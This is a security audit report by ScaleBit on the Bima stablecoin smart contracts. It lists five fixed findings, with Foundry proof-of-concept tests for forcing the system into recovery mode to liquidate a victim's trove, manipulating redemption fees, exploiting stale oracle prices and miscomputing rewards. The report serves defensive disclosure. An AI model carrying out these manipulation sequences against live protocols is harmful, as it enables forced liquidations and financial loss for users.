Bima

Audit Report

Fri Oct 18 2024

contact@bitslab.xyz https://twitter.com/scalebit_

ScaleBit

Bima Audit Report

1 Executive Summary

1.1 Project Information

Description	Stablecoin Market
Type	Stablecoin
Auditors	ScaleBit
Timeline	Tue Aug 13 2024 - Sat Sep 28 2024
Languages	Solidity
Platform	EVM Chains
Methods	Architecture Review, Unit Testing, Manual Review
Source Code	https://github.com/Bima-Labs/bima-v1-core
Commits	aef224666a11f481c732b96ceb3b62137992e8a3 725c43f62985fdd58480bd6b38e3825df1ee3410 00e16b93705e2cab1808eb84c83fe5ed9f1e847a 90413273e74daab48e8b8dd49f832d4869df3e50

1.2 Files in Scope

The following are the SHA1 hashes of the original reviewed files.

ID	File	SHA-1 Hash
SPO	contracts/core/StabilityPool.sol	d5d4a2607db78d2b433a3c4a4c84174eaaabaa98
BCO	contracts/core/BabelCore.sol	c9b13cf54a23bca2a49595a2aaa15137ce1cb1b0
BOP	contracts/core/BorrowerOperations.sol	56820f335aaea7d8bad965a94a126036c2f286d9
PFE	contracts/core/PriceFeed.sol	fa4d20c30eeedb23339dbbaaaac4a2c2b01acddf
DTO	contracts/core/DebtToken.sol	5986a50f3f5488af7127851b5fcf5d43761a3788
GPO	contracts/core/GasPool.sol	c05f06470414e4a156a8f2c3381f7ba11966fb3e
STR	contracts/core/SortedTroves.sol	b5ef65adb9c9e3ff0342b58342eae1f9b1f0c1ed
FAC	contracts/core/Factory.sol	994fb669a18be02ff2f1be35f7d73ffbec86775c
SOW	contracts/core/StorkOracleWrapper.sol	5758971f8650ebcaadf546e2f1ea63fff45fe2f0
TMA	contracts/core/TroveManager.sol	52d18de0fdea0f70a6ea253fb0590bbe741fdaa6
LMA	contracts/core/LiquidationManager.sol	01e6ce7698bf38764c8067837c385d16e039989b

AVO	contracts/dao/AdminVoting.sol	9b26fabc141c7921a483ea2ca66a12fda2a71d5e
ADI	contracts/dao/AirdropDistributor.sol	bd399d7366495193b6ca2c6ec439e746b6d7b602
AVE	contracts/dao/AllocationVesting.sol	818afdf9994a7455962911351d345b074b5d0f7d
IVO	contracts/dao/IncentiveVoting.sol	6f8fa6dd2e90a8271f41c4b1f74b059616a2fa92
BCA	contracts/dao/BoostCalculator.sol	56b7debc033b0d312c4a97a9233c8b66f15260bf
IAD	contracts/dao/InterimAdmin.sol	797e03cc6de21fc14ef22babcaff2da1b4eb454c
BTO	contracts/dao/BabelToken.sol	7eb7796f37b131d19e35a6416685e28b00523079
VAU	contracts/dao/Vault.sol	1e58348652855eb2912eb2bcc72964dfa0e5937f
FRE	contracts/dao/FeeReceiver.sol	5396460db3b70441b00b67574ea2b35f36b506fc
ESC	contracts/dao/EmissionSchedule.sol	f39855bda5bde7d57b71e29cd7163be816f32872
TLO	contracts/dao/TokenLocker.sol	3ccea1153fe7e31c82b5e09b40ca4c2f45e2c3f9

1.3 Issue Statistic

Item	Count	Fixed	Acknowledged
Total	5	5	0
Informational	0	0	0
Minor	2	2	0
Medium	3	3	0
Major	0	0	0
Critical	0	0	0

1.4 ScaleBit Audit Breakdown

ScaleBit aims to assess repositories for security-related issues, code quality, and compliance with specifications and best practices. Possible issues our team looked for included (but are not limited to):

- Transaction-ordering dependence
- Timestamp dependence
- Integer overflow/underflow
- Number of rounding errors
- Unchecked External Call
- Unchecked CALL Return Values
- Functionality Checks
- Reentrancy
- Denial of service / logical oversights
- Access control
- Centralization of power
- Business logic issues
- Gas usage
- Fallback function usage
- tx.origin authentication
- Replay attacks
- Coding style issues

1.5 Methodology

The security team adopted the **"Testing and Automated Analysis"**, **"Code Review"** and **"Formal Verification"** strategy to perform a complete security test on the code in a way that is closest to the real attack. The main entrance and scope of security testing are stated in the conventions in the "Audit Objective", which can expand to contexts beyond the scope according to the actual testing needs. The main types of this security audit include:

(1) Testing and Automated Analysis

Items to check: state consistency / failure rollback / unit testing / value overflows / parameter verification / unhandled errors / boundary checking / coding specifications.

(2) Code Review

The code scope is illustrated in section 1.2.

(3) Audit Process

- Carry out relevant security tests on the testnet or the mainnet;
- If there are any questions during the audit process, communicate with the code owner in time. The code owners should actively cooperate (this might include providing the latest stable source code, relevant deployment scripts or methods, transaction signature scripts, exchange docking schemes, etc.);
- The necessary information during the audit process will be well documented for both the audit team and the code owner in a timely manner.

2 Summary

This report has been commissioned by Bima to identify any potential issues and vulnerabilities in the source code of the Bima smart contract, as well as any contract dependencies that were not part of an officially recognized library. In this audit, we have utilized various techniques, including manual code review and static analysis, to identify potential vulnerabilities and security issues.

During the audit, we identified 5 issues of varying severity, listed below.

ID	Title	Severity	Status
BOP-1	Force Recovery Mode	Medium	Fixed
BOP-2	Redemption Fee Manipulation	Medium	Fixed
PFE-1	Delayed Price Updates from Stork Oracle Wrapper	Minor	Fixed
SPO-1	Inaccurate Reward Calculation in StabilityPool	Medium	Fixed
TMA-1	Inaccurate Base Rate Decay Due to Time Rounding	Minor	Fixed

3 Participant Process

Here are the relevant actors with their respective abilities within the Bima Smart Contract :

Dao

- Dao is an autonomous module in the bima protocol. It allows users to use the `BabelToken` they hold to vote, initiate and execute proposals, change boost or make some settings, such as collateral parameters and fee structures.

Admin

- Admin as an administrator can call deployment, set pause, oracle configuration and important parameters and contract address

User

- Users can deposit supported Bitcoin LSTs into the Bima vaults which allows them to borrow Bima stablecoin USBD by over-collateralization. Users can use USBD to gain exposure to rewards, or they can redeem it against any preferred LST that's supported by Bima protocol. Users can also execute Trove liquidations.

4 Findings

BOP-1 Force Recovery Mode

Severity: Medium

Status: Fixed

Code Location:

contracts/core/BorrowerOperations.sol

Descriptions:

In total, this malicious activity leads to a malicious forced recovery mode by controlling redemption.

1. Opening large positions at the Minimum Collateral Ratio (MCR) to lower the Total Collateral Ratio (TCR), then redeeming a position with a Collateral Ratio (CR) above the Critical Collateral Ratio (CCR) to push the TCR below the MCR.

2. Opening positions at MCR to lower the TCR to just above CCR, then liquidating bad debt positions. Due to the collateral gas compensation mechanism, this liquidation process further reduces the TCR, pushing the system into recovery mode.

Importantly, the borrowing fee, which could potentially mitigate this attack by increasing the cost, is currently set to zero in the deployment script. This absence of a borrowing fee significantly reduces the cost and difficulty of executing this attack.

Poc:

```
  function test_poc_forcingSystemIntoRecoveryMode() public {
    // Step 1: Victim opens a trove with ICR lower than CCR
    vm.startPrank(victim);
    _openTrove(sbtcTroveManager, 100000e18, 2e18);

    // Step 2: Attacker opens a minimal position with CR slightly above 225%
    vm.startPrank(attacker);
    _openTrove(sbtc2TroveManager, 2000e18, 2.26e18);

    // Step 3: Open a large position to bring TCR to exactly 225%
    (uint256 totalPricedCollateral, uint256 totalDebt) =
borrowerOps.getGlobalSystemBalances();
    uint256 debtAmount = (totalPricedCollateral - 225 * totalDebt * 1e18 / 100) * 100 /
```

```
(225 - 200) / 1e18;
        uint256 CR = 2e18;
        _openTrove(sbtcTroveManager, debtAmount, CR);

        console.log("TCR after opening large position:");
        _printTCR();

        // Step 4: Redeem the position opened in step 2 to trigger Recovery Mode
        (, uint256 attackerDebt) = sbtc2TroveManager.getTroveCollAndDebt(attacker);
        uint256 redemptionAmount = attackerDebt - 200e18; // 200e18 is the gas
compensation
        _redeemCollateral(sbtc2TroveManager, redemptionAmount);

        console.log("TCR after redemption (should be in Recovery Mode):");
        _printTCR();

        // Step 5: Liquidate victim's trove (CR < 225%)
        liquidationMgr.liquidate(sbtcTroveManager, victim);

        console.log("Victim's trove liquidated");

        // Verify victim's trove is closed
        (uint256 victimColl, uint256 victimDebt) =
sbtcTroveManager.getTroveCollAndDebt(victim);
        assertEq(victimColl, 0, "Victim's trove collateral should be zero");
        assertEq(victimDebt, 0, "Victim's trove debt should be zero");

        console.log("Final TCR:");
        _printTCR();
    }
```

Suggestion:

1. Implement a grace period before entering recovery mode. This waiting period can prevent flash loan attacks by ensuring that the system state cannot be manipulated instantaneously.

2. Set the Minimum Collateral Ratio (MCR) equal to the Critical Collateral Ratio (CCR). This adjustment eliminates the gap between MCR and CCR, preventing manipulation of the Total Collateral Ratio (TCR) within this range.

3. Establish an appropriate borrowing rate floor. While this doesn't prevent the attack entirely, it significantly increases the cost of the attack. A higher borrowing rate

reduces the profitability of the attack, making it less attractive to potential attackers.

Resolution:

Customers are aware of this risk and will set a higher base ratio to control risks and costs. Customer response: The website will always encourage users to keep the mortgage ratio above CCR, preferably around 300%. On the other hand, the official will set appropriate borrowing fees to alleviate this problem, reduce the risk of attacks, increase the cost of attackers, and make them unable to make profits.

BOP-2 Redemption Fee Manipulation

Severity: Medium

Status: Fixed

Code Location:

contracts/core/BorrowerOperations.sol

Descriptions:

In Recovery Mode, borrowing fees are not charged. This allows for manipulation of the total debt, which in turn affects the redemption rate. An attacker can artificially inflate the total debt by opening large positions, perform redemptions at a manipulated rate, and then close their positions to restore the original state.

POC

```
function test_poc_redemptionWithDebtInflation() public {
    vm.startPrank(attacker);

    // Step 1: Open a trove
    uint256 debtAmount = 100_000e18;
    _openTrove(sbtcTroveManager, debtAmount, 2e18);

    // Step 2: Attacker2 opens a large trove to inflate total debt
    vm.startPrank(attacker2);
    uint256 largeDebtAmount = 500_000e18; // 0.5M DEBT
    _openTrove(sbtcTroveManager, largeDebtAmount, 3e18);

    // Step 3: Perform redemption
    vm.startPrank(attacker);
    uint256 redemptionAmount = debtAmount - 200e18; // Subtracting gas
compensation
    _redeemCollateral(sbtcTroveManager, redemptionAmount);

    // Step 4: Attacker2 closes their large trove
    vm.startPrank(attacker2);
    borrowerOps.closeTrove(sbtcTroveManager, attacker2);

    uint256 redemptionRate = sbtcTroveManager.getRedemptionRateWithDecay();
```

```
    console.log("Manipulated Redemption Rate: %18e%", redemptionRate);
}
```

Suggestion:

1. Consider implementing a minimum borrowing fee even in Recovery Mode to discourage debt manipulation.
2. Use TWAP value for total debt when calculating base rate change.

Resolution:

Client response: Appropriate borrowing fees will be set to alleviate this problem and reduce the risk of attack.

PFE-1 Delayed Price Updates from Stork Oracle Wrapper

Severity: Minor

Status: Fixed

Code Location:

contracts/core/PriceFeed.sol

Descriptions:

The price updates from Stork Oracle Wrapper may not reflect real-time market conditions due to the roundId setting, which is based on a fixed time interval (every minute). This can lead to stale prices being used for critical operations, especially during periods of high market volatility.

POC

```
function test_poc_storkOracleStalePrice() public {
    vm.startPrank(users.owner);

    // Create mock Stork Oracle and wrapper
    MockStorkOracle mockOracle = new MockStorkOracle();
    StorkOracleWrapper wrapper = new StorkOracleWrapper(address(mockOracle),
bytes32(0));

    // Set initial price to $60,000
    mockOracle.set(uint64(block.timestamp * 1e9), 60000 * 1e18);

    // Configure price feed to use the Stork Oracle wrapper
    priceFeed.setOracle(
        address(stakedBTC),
        address(wrapper),
        80000,
        bytes4(0),
        8,
        false
    );

    uint256 btcPrice = priceFeed.fetchPrice(address(stakedBTC));
    console.log("Price before fluctuation =", btcPrice);
```

```
        // Simulate time passing (1 second)
        vm.warp(block.timestamp + 1);

        // Update oracle price to $50,000
        mockOracle.set(uint64(block.timestamp * 1e9), 50000 * 1e18);

        btcPrice = priceFeed.fetchPrice(address(stakedBTC));
        console.log("Price after fluctuation (should be stale) =", btcPrice);
    }
```

Suggestion:

It is recommended to Use second as the time interval.

Resolution:

The client followed our suggestion and fixed this issue in commit:5d9e94587e8ad7f07d5936d92d2da5eb23e872c2.

SPO-1 Inaccurate Reward Calculation in StabilityPool

Severity: Medium

Status: Fixed

Code Location:

contracts/core/StabilityPool.sol

Descriptions:

The `claimableReward` function in the StabilityPool contract may return incorrect values under certain conditions. Specifically, when the total debt is zero or when epoch transitions occur, the reward calculation may not accurately reflect the user's entitled rewards.

```
function test_poc_stabilityPool_inaccurateClaimableAmount() public {
    address user = users.user1;
    address user2 = users.user2;
    deal(address(stakedBTC), user, 1e6 * 1e18);
    deal(address(stakedBTC), user2, 1e6 * 1e18);

    // Mock Babel Vault's allocateNewEmissions function for demonstration purposes
    vm.mockCall(
        address(babelVault),
        abi.encodeWithSelector(IBabelVault.allocateNewEmissions.selector),
        abi.encode(100e18 * 86400 * 7) // 100 tokens per week
    );

    // Step 1: User opens a trove
    vm.startPrank(user);
    uint256 debtAmount = 50000e18; // 50,000 DEBT
    _openTrove(sbtcTroveManager, debtAmount, 2e18);

    // Step 2: User deposits all borrowed DEBT into Stability Pool
    stabilityPool.provideToSP(debtAmount - 200e18);

    uint256 stabilityPoolBalanceBefore = stabilityPool.getTotalDebtTokenDeposits();
    console.log("Stability Pool balance before liquidation:", stabilityPoolBalanceBefore);

    vm.startPrank(user2);
    debtAmount = stabilityPoolBalanceBefore;
    _openTrove(sbtcTroveManager, debtAmount, 2e18);
```

```
    // Step 3: Simulate price drop to make the trove undercollateralized
    vm.warp(block.timestamp + 1);
    _updateOracle(59000 * 1e8);

    // Step 4: Triggers liquidation
    liquidationMgr.liquidate(sbtcTroveManager, user2);

    // Step 5: Check Stability Pool balance after liquidation
    uint256 stabilityPoolBalanceAfter = stabilityPool.getTotalDebtTokenDeposits();
    console.log("Stability Pool balance after liquidation:", stabilityPoolBalanceAfter);

    // Assert that the Stability Pool is emptied
    assertEq(stabilityPoolBalanceAfter, 0, "Stability Pool should be empty after
liquidation");

    // Step 6: Check claimable rewards
    // The correct amount should be more than zero
    uint256 claimableRewards = stabilityPool.claimableReward(user);
    console.log("Claimable rewards:", claimableRewards);
  }

  function test_poc_stabilityPool_incorrectMarginalBabelGain() public {
    address user = users.user1;
    address user2 = users.user2;
    address user3 = makeAddr("User3");
    deal(address(stakedBTC), user, 1e6 * 1e18);
    deal(address(stakedBTC), user2, 1e6 * 1e18);
    deal(address(stakedBTC), user3, 1e6 * 1e18);

    // Mock Babel Vault's allocateNewEmissions function for demonstration purposes
    vm.mockCall(
      address(babelVault),
      abi.encodeWithSelector(IBabelVault.allocateNewEmissions.selector),
      abi.encode(100e18 * 86400 * 7) // 100 tokens per week
    );

    // Step 1: User opens a trove
    vm.startPrank(user);
    uint256 debtAmount = 50000e18; // 50,000 DEBT
    _openTrove(sbtcTroveManager, debtAmount, 2e18);

    // Step 2: User deposits all borrowed DEBT into Stability Pool
```

```
        stabilityPool.provideToSP(debtAmount - 200e18);

        uint256 stabilityPoolBalanceBefore = stabilityPool.getTotalDebtTokenDeposits();
        console.log("Stability Pool balance before liquidation:", stabilityPoolBalanceBefore);

        vm.startPrank(user2);
        debtAmount = stabilityPoolBalanceBefore;
        _openTrove(sbtcTroveManager, debtAmount, 2e18);

        // Step 3: Simulate price drop to make the trove undercollateralized
        vm.warp(block.timestamp + 1);
        _updateOracle(59000 * 1e8);

        // Step 4: Triggers liquidation
        liquidationMgr.liquidate(sbtcTroveManager, user2);

        // Step 5: Check Stability Pool balance after liquidation
        uint256 stabilityPoolBalanceAfter = stabilityPool.getTotalDebtTokenDeposits();
        console.log("Stability Pool balance after liquidation:", stabilityPoolBalanceAfter);

        // Assert that the Stability Pool is emptied
        assertEq(stabilityPoolBalanceAfter, 0, "Stability Pool should be empty after
liquidation");

        // Step 6: Check claimable rewards
        // The correct amount should be more than zero
        uint256 claimableRewards = stabilityPool.claimableReward(user);
        console.log("User claimable rewards:", claimableRewards);

        // Step 7: User2 opens a trove and deposits into Stability Pool
        vm.startPrank(user2);
        debtAmount = 10000e18;
        _openTrove(sbtcTroveManager, debtAmount, 2e18);
        stabilityPool.provideToSP(debtAmount - 200e18);

        // Step 8: User3 opens a trove
        vm.startPrank(user3);
        debtAmount = 2000e18;
        _openTrove(sbtcTroveManager, debtAmount, 2e18);

        // Step 9: Simulate price drop to make the user3's trove undercollateralized
        vm.warp(block.timestamp + 1);
        _updateOracle(58000 * 1e8);
```

```
    // Step 10: Triggers liquidation
    liquidationMgr.liquidate(sbtcTroveManager, user3);

    // Step 11: Check claimable rewards
    // The correct claimable rewards should be the same as the previous amount as
    // the user's deposit was already emptied in the previous epoch
    claimableRewards = stabilityPool.claimableReward(user);
    console.log("User claimable rewards:", claimableRewards);
  }
```

Suggestion:

```
if (totalDebt == 0 || initialDeposit == 0) {
 return storedPendingReward[_depositor] + _claimableReward(_depositor);
}
```

2. Add an epoch check before calculating `marginalBabelGain`:

```
uint256 marginalBabelGain = (epochSnapshot == currentEpoch) ? babelPerUnitStaked *
P : 0;
```

Resolution:

The `epoch-based` calculation of StabilityPool and reward calculation when `totalDebt` or `initialDeposit` being 0 are updated, the fix is in commit: 2a937823e25d7da90622415ac1b6cb15a67f553b.

TMA-1 Inaccurate Base Rate Decay Due to Time Rounding

Severity: Minor

Status: Fixed

Code Location:

contracts/core/TroveManager.sol

Descriptions:

The base rate decay calculation uses time rounding, which can lead to accumulated errors over time. This rounding error can potentially double the effective half-life of the base rate decay.

```
function _updateLastFeeOpTime() internal {
    uint256 timePassed = block.timestamp - lastFeeOperationTime;

    if (timePassed >= SECONDS_IN_ONE_MINUTE) {
        lastFeeOperationTime = block.timestamp;
        emit LastFeeOpTimeUpdated(block.timestamp);
    }
}
```

Suggestion:

update the `_updateLastFeeOpTime` function to account for partial minutes:

```
lastFeeOperationTime = lastFeeOperationTime + (block.timestamp -
lastFeeOperationTime) / SECONDS_IN_ONE_MINUTE * SECONDS_IN_ONE_MINUTE;
```

This change ensures that `lastFeeOperationTime` is updated more accurately, preventing the accumulation of rounding errors and maintaining the intended decay rate of the base fee.

Resolution:

The calculation of `lastFeeOperationTime` to ensure correct base rate decay calculations are updated, the fix is in commit: b8ba2641186249e5dbbecec6edb873079278183b.

Appendix 1

Issue Level

- **Informational** issues are often recommendations to improve the style of the code or to optimize code that does not affect the overall functionality.
- **Minor** issues are general suggestions relevant to best practices and readability. They don't post any direct risk. Developers are encouraged to fix them.
- **Medium** issues are non-exploitable problems and not security vulnerabilities. They should be fixed unless there is a specific reason not to.
- **Major** issues are security vulnerabilities. They put a portion of users' sensitive information at risk, and often are not directly exploitable. All major issues should be fixed.
- **Critical** issues are directly exploitable security vulnerabilities. They put users' sensitive information at risk. All critical issues should be fixed.

Issue Status

- **Fixed:** The issue has been resolved.
- **Partially Fixed:** The issue has been partially resolved.
- **Acknowledged:** The issue has been acknowledged by the code owner, and the code owner confirms it's as designed, and decides to keep it.

Appendix 2

Disclaimer

This report is based on the scope of materials and documents provided, with a limited review at the time provided. Results may not be complete and do not include all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your own risk. A report does not imply an endorsement of any particular project or team, nor does it guarantee its security. These reports should not be relied upon in any way by any third party, including for the purpose of making any decision to buy or sell products, services, or any other assets. TO THE FULLEST EXTENT PERMITTED BY LAW, WE DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED, IN CONNECTION WITH THIS REPORT, ITS CONTENT, RELATED SERVICES AND PRODUCTS, AND YOUR USE, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NOT INFRINGEMENT.